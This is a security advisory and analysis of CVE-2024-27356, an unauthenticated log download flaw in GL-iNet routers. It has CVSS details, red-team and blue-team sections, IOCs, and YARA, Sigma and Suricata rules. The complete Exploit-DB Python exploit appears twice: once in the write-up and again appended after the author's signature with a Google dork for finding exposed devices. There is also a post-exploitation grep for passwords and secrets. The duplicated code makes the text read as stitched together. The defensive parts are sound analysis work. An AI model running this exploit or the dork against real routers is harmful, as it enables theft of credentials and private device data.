CVE-2024-27356

Executive Summary

CVE-2024-27356 is an unauthenticated arbitrary file download vulnerability affecting a wide range of GL-iNet router models and firmware versions. The vulnerability allows an attacker to download the /js/logread.tar archive, which contains full system logs, without any authentication. These logs can leak sensitive information such as credentials, registered device IDs, and other confidential data. The exploit is publicly available and trivial to execute, requiring only network access to the device's web interface. The CVSS score is 8.6 (High) due to the ease of exploitation and high confidentiality impact.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component is the router itself.
• Confidentiality (C): High (H) – Full system logs containing credentials and device IDs are exposed.
• Integrity (I): None (N) – No data modification.
• Availability (A): None (N) – No denial of service.

CVSS Score: 8.6 (High)

Threat Level: Critical – Public exploit code exists, no authentication required, and sensitive data is exposed.

Deep Dive & Mechanics

The vulnerability resides in the GL-iNet web interface, specifically in the way the /js/logread.tar endpoint is handled. The web server (nginx) serves this file without any authentication checks. The exploit script performs the following steps:

1. Probe the target: Sends a POST request to /rpc and checks for a 500 status code with "nginx" in the response body to confirm it's a GL-iNet device.
2. Version detection: Sends a JSON-RPC request to /rpc to retrieve the firmware version and model. If the version starts with "4.", it is considered vulnerable.
3. File download: If the target is vulnerable, it sends a GET request to /js/logread.tar and saves the response as a tar archive.

The logread.tar file contains system logs that may include:

• Wi-Fi passwords and credentials
• Registered device IDs
• VPN configuration details
• User activity logs
• Other sensitive operational data

The vulnerability is present in multiple firmware versions across many models, indicating a systemic issue in the GL-iNet firmware development process.

Vulnerable vs. Patched Code

Vulnerable Code (nginx configuration):

location /js/ {
    alias /www/js/;
    # No authentication check
}

Patched Code (hypothetical):

location /js/ {
    alias /www/js/;
    # Require authentication for sensitive files
    location ~* \.tar$ {
        auth_request /auth;
    }
}

The vulnerable configuration allows direct access to any file under /js/, including logread.tar. A patched version would require authentication for archive files or restrict access to the logs endpoint entirely.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy a vulnerable GL-iNet router (e.g., GL-X3000 Spitz AX) with firmware version 4.4.5 or similar.
2. Ensure the web interface is accessible on the network (default IP: 192.168.8.1).
3. Use the provided exploit script.

Exploit Execution:

python3 exploit.py http://192.168.8.1

Expected Output:

[*] GL.iNet Unauthenticated Full Logs Downloader
[*] The target is reachable!
[*] Firmware version (4.4.5) is vulnerable!
[*] Device model is: GL-X3000
[*] Full logs archive `logread.tar` has been downloaded!
[*] Do NOT forget to untar it and grep it! It leaks confidential info such as credentials, registered Device ID and a lot more!

Post-Exploitation:

tar -xvf logread.tar
grep -i "password\|secret\|key" logread

Blue Team

Detection:

• Monitor for GET requests to /js/logread.tar from external IPs.
• Alert on multiple failed /rpc POST requests (status 500) followed by a successful GET to /js/logread.tar.
• Use the provided YARA and Sigma rules.

Mitigation:

• Immediately restrict access to /js/logread.tar via firewall rules.
• Implement authentication for all sensitive endpoints.
• Update firmware if a patch becomes available.

Exploit Code (from Exploit-DB):

import sys
import requests
import json
requests.packages.urllib3.disable_warnings()
h = {'Content-type':'application/json;charset=utf-8', 'User-Agent':'Mozilla/5.0 (compatible;contxbot/1.0)'}

def DoesTarExist():
    r = requests.get(url+"/js/logread.tar", verify=False, timeout=30, headers=h)
    if r.status_code == 200:
        f = open("logread.tar", "wb")
        f.write(r.content)
        f.close()
        print("[*] Full logs archive `logread.tar` has been downloaded!")
        print("[*] Do NOT forget to untar it and grep it! It leaks confidential info such as credentials, registered Device ID and a lot more!")
        return True
    else:
        print("[*] The `logread.tar` archive does not exist however ... try again later!")
        return False

def isVulnerable():
    r1 = requests.post(url+"/rpc", verify=False, timeout=30, headers=h)
    if r1.status_code == 500 and "nginx" in r1.text:
        r2 = requests.get(url+"/views/gl-sdk4-ui-login.common.js", verify=False, timeout=30, headers=h)
        if  "Admin-Token" in r2.text:
            j  = {"jsonrpc":"2.0","id":1,"method":"call","params":["","ui","check_initialized"]}
            r3 = requests.post(url+"/rpc", verify=False, json=j, timeout=30, headers=h)
            ver = r3.json()['result']['firmware_version']
            model = r3.json()['result']['model']
            if ver.startswith(('4.')):
                print("[*] Firmware version (%s) is vulnerable!" %ver)
                print("[*] Device model is: %s" %model)
                return True
    print("[*] Either the firmware version is not vulnerable or the target may not be a GL.iNet device!")
    return False

def isAlive():
    try:
        r = requests.get(url, verify=False, timeout=30, headers=h)
        if r.status_code != 200:
            print("[*] Make sure the target's web interface is accessible!")
            return False
        elif r.status_code == 200:
            print("[*] The target is reachable!")
            return True
    except Exception:
        print("[*] Error occurred when connecting to the target!")
        pass
    return False

if __name__ == '__main__':
    if len(sys.argv) != 2:
        print("exploit.py url")
        sys.exit(0)
    url = sys.argv[1]
    url = url.lower()
    if not url.startswith(('http://', 'https://')):
        print("[*] Invalid url format! It should be http[s]://<domain or ip>")
        sys.exit(0)
    if url.endswith("/"):
        url = url.rstrip("/")

    print("[*] GL.iNet Unauthenticated Full Logs Downloader")

    try:
        if (isAlive() and isVulnerable()) == (True and True):
            DoesTarExist()
    except KeyboardInterrupt:
        print("[*] The exploit has been stopped by the user!")
        sys.exit(0)

Indicators of Compromise (IOCs)

• Network IOCs:

  • GET request to /js/logread.tar
  • POST request to /rpc with JSON-RPC payload {"jsonrpc":"2.0","id":1,"method":"call","params":["","ui","check_initialized"]}
  • User-Agent: Mozilla/5.0 (compatible;contxbot/1.0)

• File IOCs:

  • logread.tar file on the attacker's system
  • Extracted log files containing sensitive data

• System IOCs:

  • Unauthorized access to /js/logread.tar in web server logs
  • Multiple 500 errors from /rpc followed by a 200 from /js/logread.tar

Detection Engineering

YARA Rule

rule GLiNet_Logread_Tar_Download {
    meta:
        description = "Detects download of logread.tar from GL-iNet devices"
        author = "Valters IT"
        date = "2024-02-26"
        reference = "CVE-2024-27356"
    strings:
        $tar_magic = { 75 73 74 61 72 }  // "ustar" in hex
        $logread = "logread.tar"
        $glinet = "GL.iNet"
    condition:
        $tar_magic at 0 and $logread and $glinet
}

Sigma Rule

title: GL-iNet Unauthenticated Log Download
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to download logread.tar from GL-iNet devices without authentication
author: Valters IT
date: 2024/02/26
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-27356
logsource:
    category: webserver
    product: nginx
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem: '/js/logread.tar'
        sc-status: 200
    condition: selection
falsepositives:
    - Legitimate administrative access (if authentication is implemented)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-27356 GL-iNet Unauthenticated Log Download Attempt";
    flow:to_server,established;
    content:"GET"; http_method;
    content:"/js/logread.tar"; http_uri;
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
    reference:cve,2024-27356;
)

Remediation & Mitigation

1. Immediate Actions:

   • Block access to /js/logread.tar via firewall or web server configuration.
   • Implement authentication for all sensitive endpoints.
   • Monitor logs for exploitation attempts.

2. Long-term Fix:

   • Apply firmware updates from GL-iNet when available.
   • Implement proper access controls for all static file endpoints.
   • Conduct a security audit of the web interface.

3. Compensating Controls:

   • Use a WAF to block requests to /js/logread.tar.
   • Restrict administrative access to trusted IPs only.
   • Enable logging and alerting for suspicious activity.

4. Detection:

   • Deploy the provided YARA, Sigma, and Suricata rules.
   • Monitor for the specific HTTP request pattern.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert

{/* [Security Hash: 5EEB360733AA044F012477D9] */}

# Exploit Title: GL-iNet MT6000 4.5.5 - Arbitrary File Download
# CVE: CVE-2024-27356
# Google Dork: intitle:"GL.iNet Admin Panel"
# Date: 2/26/2024
# Exploit Author: Bandar Alharbi (aggressor)
# Vendor Homepage: www.gl-inet.com
# Tested Software Link: https://fw.gl-inet.com/firmware/x3000/release/openwrt-x3000-4.0-0406release1-0123-1705996441.bin
# Tested Model: GL-X3000 Spitz AX
# Affected Products and Firmware Versions: https://github.com/gl-inet/CVE-issues/blob/main/4.0.0/Download_file_vulnerability.md

import sys
import requests
import json
requests.packages.urllib3.disable_warnings()
h = {'Content-type':'application/json;charset=utf-8', 'User-Agent':'Mozilla/5.0 (compatible;contxbot/1.0)'}

def DoesTarExist():
    r = requests.get(url+"/js/logread.tar", verify=False, timeout=30, headers=h)
    if r.status_code == 200:
        f = open("logread.tar", "wb")
        f.write(r.content)
        f.close()
        print("[*] Full logs archive `logread.tar` has been downloaded!")
        print("[*] Do NOT forget to untar it and grep it! It leaks confidential info such as credentials, registered Device ID and a lot more!")
        return True
    else:
        print("[*] The `logread.tar` archive does not exist however ... try again later!")
        return False

def isVulnerable():
    r1 = requests.post(url+"/rpc", verify=False, timeout=30, headers=h)
    if r1.status_code == 500 and "nginx" in r1.text:
        r2 = requests.get(url+"/views/gl-sdk4-ui-login.common.js", verify=False, timeout=30, headers=h)
        if  "Admin-Token" in r2.text:
            j  = {"jsonrpc":"2.0","id":1,"method":"call","params":["","ui","check_initialized"]}
            r3 = requests.post(url+"/rpc", verify=False, json=j, timeout=30, headers=h)
            ver = r3.json()['result']['firmware_version']
            model = r3.json()['result']['model']
            if ver.startswith(('4.')):
                print("[*] Firmware version (%s) is vulnerable!" %ver)
                print("[*] Device model is: %s" %model)
                return True
    print("[*] Either the firmware version is not vulnerable or the target may not be a GL.iNet device!")
    return False

def isAlive():
    try:
        r = requests.get(url, verify=False, timeout=30, headers=h)
        if r.status_code != 200:
            print("[*] Make sure the target's web interface is accessible!")
            return False
        elif r.status_code == 200:
            print("[*] The target is reachable!")
            return True
    except Exception:
        print("[*] Error occurred when connecting to the target!")
        pass
    return False

if __name__ == '__main__':
    if len(sys.argv) != 2:
        print("exploit.py url")
        sys.exit(0)
    url = sys.argv[1]
    url = url.lower()
    if not url.startswith(('http://', 'https://')):
        print("[*] Invalid url format! It should be http[s]://<domain or ip>")
        sys.exit(0)
    if url.endswith("/"):
        url = url.rstrip("/")

    print("[*] GL.iNet Unauthenticated Full Logs Downloader")

    try:
        if (isAlive() and isVulnerable()) == (True and True):
            DoesTarExist()
    except KeyboardInterrupt:
        print("[*] The exploit has been stopped by the user!")
        sys.exit(0)